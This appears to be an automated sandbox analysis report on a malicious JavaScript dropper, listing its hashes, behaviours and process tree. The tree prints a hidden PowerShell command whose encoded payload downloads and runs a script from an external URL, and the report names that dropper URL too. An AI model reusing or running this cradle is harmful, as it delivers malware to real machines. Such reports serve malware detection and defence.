Analysis
- max time kernel
16s - max time network
114s - platform
windows10_x64 - resource
win10v20210410 - submitted
29/07/2021, 05:09
Static task
static1
Behavioral task
behavioral1
Sample
2021APT-28_33480453.js
Resource
win7v20210410
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
2021APT-28_33480453.js
Resource
win10v20210410
0 signatures
0 seconds
General
- Target 2021APT-28_33480453.js
- Size 61KB
- Sample210729-degn6ptdps
- SHA256 ee5f98e95f8467cb9c8a370a4dd3948181c1201790301e22fc3e81797430dd7e
- MD5 24a9c82f4a914cd5a2ab6df4863c6f4e
- SHA1 339dc1e5d2dd71a03ffc65512f2ad895760eb66e
- SHA512 4cde68d319ca62cb9f81ac95796e87d71546eaf4a70ee0670beb0249f74ce8c87fd1378dec3878e828e20f8632f9f58bc76cb6d257b764533a5cab2b754fc91a
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://smart-integrator.hr/pornhub.php
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 10 2448 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 2236 2448 WerFault.exe 78 - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2448 powershell.exe 2448 powershell.exe 2448 powershell.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe 2236 WerFault.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2448 powershell.exe Token: SeDebugPrivilege 2236 WerFault.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3744 wrote to memory of 2124 3744 wscript.exe 76 PID 3744 wrote to memory of 2124 3744 wscript.exe 76 PID 2124 wrote to memory of 2448 2124 cmd.exe 78 PID 2124 wrote to memory of 2448 2124 cmd.exe 78
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_33480453.js1⤵
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2448 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2448 -s 22964⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2236
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